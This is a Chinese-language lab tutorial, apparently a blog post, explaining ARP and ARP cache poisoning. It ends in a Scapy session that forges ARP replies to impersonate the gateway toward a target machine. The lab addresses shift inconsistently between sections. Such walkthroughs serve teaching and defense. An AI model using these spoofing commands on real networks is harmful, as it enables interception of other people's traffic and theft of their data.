在讲ARP欺骗之前先讲讲什么是ARP以及ARP欺骗的原理吧。
一、 什么是ARP?
arp英文全称: address resolution protocol 中文:地址解析协议
它的作用:是根据IP地址获取获取物理地址的一个TCP/IP协议。 主机发送 信息的时候将一个包涵目标主机的IP地址的ARP请求通过广播到网络上所有的主机,并且接受返回信息,以此来确定目标的物理地址。收到返回消息后讲该IP和物理地址存在本机ARP缓存中(这个属于动态ARP)兵保留一定的时间。下次请求时就可以直接查询ARP缓存以节约资源。
二、 ARP欺骗原理
大家通过知道arp的原理之后就应该知道arp的缺陷了。当arp通过广播的形式的时候,虽然主机默认的是:与自己的ip不匹配的就视为丢弃,但是我们可以通过手动的方式来跟靶机讲我就是网关或者其它主机,从而就达到了欺骗目的。
实验环境:
1.虚拟机kali IP:192.168.1.2 MAC:00:0C:29:E4:5C:D2 (攻击机)
2.虚拟机win7 IP:192.168.1.3 MAC:00-0C-29-CA-29-88(靶机:被攻击机)
3.宿主机win7 IP:192.168.1.1 MAC:0A-00-27-00-00-18(服务器DVWA)
例如: 虚拟机win7想访问宿主机的服务器,那么必须知道宿主机的MAC地址,但又因为arp缓存里面没有宿主机的MAC地址,所以就必须以广播的形式来跟宿主机进行连接。 然后它就会讲:请问谁的IP 是192.168.1.1,请把你的MAC给我。宿主机看见广播的地址和自己的地址相同,所以就会回复靶机讲它是,并且把Mac地址发给它,从而就建立了连接。但是 如果kali想攻击它,kali就会在靶机广播的时候也会一直广播发送消息讲它是192.168.1.1,并把MAC发给它,所以靶机就以为它是服务器从而就会上传一些敏感文件给它。从而就达到了欺骗。
**
**
**
**
实验开始之前要注意,apr欺骗只能在内网中,所以我们虚拟机要改成桥接模式。
1.我们以win03作为靶机,在一开始我们使用arp -a命令查看不到默认网关,然后我把虚拟机模式改成了桥接模式,还是不行,后来我把虚拟机获取IP的方法改成了自动获取,后来可以了,如图:
在这里我把ip获取方式我改成手动设置了,但是手动设置之后发现我们使用arp -a(查看arp缓存表)没有发现缓存的mac地址,这是为啥?我们可以先ping一下随机的主机或者网站,我在们执行arp -a发现查到了mac地址,mac地址就是我们的默认网关,关于网关我们在这这里补充一下:
那么网关到底是什么呢?网关实质上是一个网络通向其他网络的IP地址。比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192.
168.1.254”,子网掩码为255.255.255.0;网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0。在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。而要实现这两个网络之间的通信,则必须通过网关。如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机(如附图所示)。网络B向网络A转发数据包的过程。
上图说明了我们在访问百度的主机的时候,百度主机与我们的03虚拟机不在同一个网段中,这时候需要我们设定的192.168.1.1网关进行 IP转换。
**
**
root@kali:~# scapy
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.3.2)
>>> a=ARP()
>>> a.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:b6:71:0c
psrc= 192.168.1.110
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> a.pdst="192.168.1.106"
>>> a.psrc="192.168.1.1" //我们把我们kali的mac未造成网关的mac。192.168.1.1是网关的ip
>>> send(a)
.
Sent 1 packets.
>>>
我们在03中可以看到,网关的mac对应的ip变成了我们kali的ip:
我们看到我们kali的主机地址留在了对方的机器上,我们通过wireshark抓包可以发现,我们在第二层的Ether中的源mac地址仍然用的是我们的kali的mac地址。如图:
在我们kali(110)发送给03(106)的数据包中的Ether层的源mac为kali的。
我们使用以下代码:
>>> sendp(Ether(src="00:0c:29:b6:71:0c",dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.106",psrc="192.168.1.110"))
.
Sent 1 packets.